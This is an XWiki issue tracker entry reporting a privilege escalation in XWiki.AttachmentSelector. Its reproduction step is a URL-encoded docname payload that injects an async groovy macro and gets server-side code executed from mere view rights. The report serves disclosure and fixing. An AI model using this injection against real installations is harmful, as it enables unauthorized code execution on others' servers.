Uploaded image for project: 'XWiki Platform'
  1. XWiki Platform
  2. XWIKI-20275

Privilege escalation (PR) from view right on XWiki.AttachmentSelector

    XMLWordPrintable

Details

    • Unit
    • Unknown
    • N/A
    • N/A

    Description

      Steps to reproduce:

      Open <xwiki_host>/xwiki/bin/view/XWiki/AttachmentSelector?docname=%5D%5D+%7B%7Basync+async%3D%22true%22+cached%3D%22false%22+context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello+%22+%2B+%22from+groovy%21%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D where <xwiki_host> is the URL of your XWiki installation.

      Expected result:

      No text is displayed next to the cancel button.

      Actual result:

      The text Hello from groovy!||class="button secondary" id="attachment-picker-close"]] is displayed after the cancel button, demonstrating a privilege escalation from view rights on XWiki.AttachmentSelector to programming rights due to insufficient escaping.

      Attachments

        Issue Links

          Activity

            People

              mleduc Manuel Leduc
              MichaelHamann Michael Hamann
              Votes:
              0 Vote for this issue
              Watchers:
              1 Start watching this issue

              Dates

                Created:
                Updated:
                Resolved: